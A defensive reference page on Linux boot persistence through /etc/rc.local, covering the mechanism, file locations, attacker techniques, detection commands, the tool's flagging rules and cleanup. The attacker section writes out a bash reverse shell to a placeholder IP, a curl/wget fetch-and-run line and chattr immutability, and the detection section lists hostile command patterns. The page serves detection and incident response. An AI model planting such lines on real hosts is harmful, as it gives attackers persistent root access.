At boot
rc.local: Linux Boot Persistence via /etc/rc.local
How /etc/rc.local runs commands as root at every boot through rc-local.service, how attackers plant payloads in it, and how to check and clean a host.
- MITRE ATT&CK
- T1037.004
- Tactics
- Persistence, Privilege escalation
- Runs
- At boot
- Set up by
- root
- Locations
- /etc/rc.local
- /etc/rc.d/rc.local
- /usr/lib/systemd/system/rc-local.service
How it works
/etc/rc.local is the oldest "run this at boot" hook on Linux: a shell script executed once, as root, at the end of the multi-user boot. It survives on systemd hosts as a compatibility shim, which is why it still matters.
- On systemd hosts,
systemd-rc-local-generatorruns at every boot and everysystemctl daemon-reload. If the rc.local path exists and is executable, it linksrc-local.serviceintomulti-user.targetunder/run/systemd/generator/. Nothing is "enabled" in/etc/systemd/system: the executable bit is the switch. The unit runs/etc/rc.local startwithType=forking, no timeout andRemainAfterExit=yes, so the script must return; whatever it leaves running stays in the unit's cgroup. - Execution context: root, no login shell and no profile,
/as working directory, systemd's defaultPATH, stdout and stderr in the journal. The shebang picks the interpreter; Debian's traditional#!/bin/sh -estops at the first failing command, and nothing afterexit 0ever runs. - Debian and Ubuntu stopped shipping the file years ago. Admins create it by hand, so on a current Debian-family host an
/etc/rc.localwas put there by someone, and dpkg normally owns nothing at that path. Debian's systemd package adds a drop-in that orders the unit afternetwork-online.target. - RHEL, CentOS and Fedora use
/etc/rc.d/rc.local, with/etc/rc.locala symlink to it. RHEL 7 and 8 ship the file with mode 0644 and a comment asking you tochmod +xit: until then it is inert, and onechmodturns it on. - Without systemd, Debian's SysV
/etc/init.d/rc.localcalls it. OpenRC (Alpine, Gentoo) has its own equivalent: executable/etc/local.d/*.startscripts run by thelocalservice.
Where it lives
| Path | What | Who can write it |
|---|---|---|
/etc/rc.local | The script on Debian, Ubuntu and most others; a symlink on RHEL-family systems | root |
/etc/rc.d/rc.local | The real file on RHEL, CentOS, Fedora | root |
/usr/lib/systemd/system/rc-local.service | The unit (/lib/systemd/system/ without merged /usr) | packages |
/usr/lib/systemd/system-generators/systemd-rc-local-generator | Decides at boot whether the unit runs | packages |
/run/systemd/generator/multi-user.target.wants/rc-local.service | Runtime link created by the generator | systemd, at boot |
/etc/systemd/system/rc-local.service.d/*.conf | Drop-ins that change the unit | root |
/etc/init.d/rc.local | SysV wrapper on non-systemd Debian | root |
/usr/sbin/halt.local | Shutdown counterpart, run by halt-local.service when executable, on builds that support it | root |
/etc/local.d/*.start | OpenRC equivalent | root |
How attackers use it
rc.local needs root to write, and gives back root at every boot with no unit file, timer or package to explain. It is a favourite second or third foothold next to cron and systemd.
A line added to an existing script
The payload goes in before exit 0 and is backgrounded so the boot is not held up:
#!/bin/sh -e
/usr/local/sbin/fw-restore
nohup /usr/lib/.kworker/kworkerd >/dev/null 2>&1 &
exit 0
A line appended after exit 0 never runs: a sign of a careless or scripted install, and still worth reading.
Creating the file and switching it on
On Debian-family hosts the file usually does not exist, so the attacker creates it and sets the executable bit. On RHEL 7 and 8, appending to the shipped file and running chmod +x /etc/rc.d/rc.local is enough.
printf '#!/bin/bash\n(bash -i >& /dev/tcp/203.0.113.10/443 0>&1 &)\n' > /etc/rc.local
chmod +x /etc/rc.local
Fetching the payload at each boot
Nothing but the command is stored on disk; the server decides what runs.
(curl -fsSL http://198.51.100.7/i.sh || wget -qO- http://198.51.100.7/i.sh) | sh >/dev/null 2>&1 &
Protecting the file
chattr +i /etc/rc.local
The immutable attribute makes rm and editors fail with "Operation not permitted", even for root, and defeats naive cleanup scripts.
How to check a host
On a live host
ls -l /etc/rc.local /etc/rc.d/rc.local # present? executable? a symlink?
stat -L /etc/rc.local # modify and change times
lsattr /etc/rc.local # an 'i' blocks removal
cat -A /etc/rc.local # shows carriage returns and escape sequences that hide lines
systemctl status rc-local.service # did it run this boot, which processes it left behind
systemctl cat rc-local.service # the unit and its drop-ins
journalctl -b -u rc-local.service # its output this boot
The CGroup: part of systemctl status lists every process the script started that is still running: on most servers it should be empty or show a known daemon. For each absolute path the script calls, check the program too (ls -l, then its owner below).
Ownership: on Debian and Ubuntu, dpkg -S /etc/rc.local should find no package. On RHEL-family systems, rpm -qf /etc/rc.d/rc.local names the owner and rpm -Vf /etc/rc.d/rc.local shows M for a mode change (the chmod +x that enabled it) and 5 for changed content.
Offline, from a collection
Read etc/rc.local and etc/rc.d/rc.local from the archive. Their mode is in the tar headers: tar -tvzf persist-host.tar.gz etc/rc.local etc/rc.d/rc.local shows whether the file was executable and when it last changed. If the journal was collected, journalctl -D <collection>/var/log/journal -u rc-local.service shows the boots where it ran and what it printed. On a disk image /run is gone, so judge by the executable bit and the generator rules above. The collection command archives all of /etc, and Linux Persistence reads it offline in the browser.
What Linux Persistence flags
The tool reads /etc/rc.local and /etc/rc.d/rc.local and lists every command line as its own entry (comments, blank lines and exit 0 are skipped; \ continuations are joined), with boot as the trigger.
- rc.local runs commands at boot (low): on every line, so the file is never silently present.
- Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code: when the line matches the shared command heuristics (
curl … | sh,/dev/tcp/,nc -e,base64 -d | sh,python -cand similar). - Sets LD_PRELOAD and Turns shell history off: when the line exports
LD_PRELOADorLD_AUDIT, or disables history. - Makes a file immutable: when it runs
chattr +i. - Detaches from the session: on
nohup,setsid,disown,screen -dmortmux new -d(a plain trailing&is not flagged). - Runs from a temporary folder, Runs from a hidden folder, Embedded encoded blob: a path under
/tmp,/var/tmpor/dev/shm, an unusual dot-folder, or a long base64 or hex string. - Differs from package package (low): when the dpkg database is in the collection, owns the file and its checksum no longer matches. An unowned rc.local gets no "Not installed by any package" flag, because the file is normally hand-made.
- Changed date (low): the file changed in the 7 days before the newest file of the collection.
- program also runs from mechanisms: the line starts an absolute path outside
/usr/bin,/usr/sbin,/binand/sbinthat another mechanism (a cron job, a unit, an init script) also starts.
Limits: the tool sees file contents, not modes, so it cannot tell whether rc.local is executable and therefore runs; check the tar listing. Lines after exit 0 are still listed. Scripts that rc.local calls are not read, multi-line constructs (if … fi) appear line by line, and OpenRC's /etc/local.d is not parsed.
Cleaning up
-
Preserve first. Copy the file with its times to your evidence store and hash it, together with the unit's state and the processes it started:
EVID=/mnt/evidence/$(hostname); mkdir -p "$EVID" cp -a /etc/rc.local /etc/rc.d/rc.local "$EVID"/ 2>/dev/null sha256sum /etc/rc.local > "$EVID"/rc.local.sha256 systemctl status rc-local.service --no-pager > "$EVID"/rc-local.statusFor each suspicious process in the cgroup, save
/proc/<pid>/exe,/proc/<pid>/cmdlineand its network connections before you kill it. -
Disable. Clear the attribute (
chattr -i), then remove the planted lines, or the whole file if the host does not need it.chmod -xalone stops it at the next boot.systemctl stop rc-local.servicekills what is left in its cgroup, legitimate daemons included. -
Look for the same payload elsewhere. A program started from rc.local is usually also planted in cron, a systemd service or an init script. Search for its path and file name across
/etc,/usr/lib/systemd, the spools and the home folders. -
Rotate. The code ran as root at every boot: treat the host as root-compromised and rotate whatever root could read (SSH keys, service credentials, tokens in
/etc).
References
See also
Related techniques
On Linux Forensics
The artifacts behind this technique, in the Linux Forensics reference: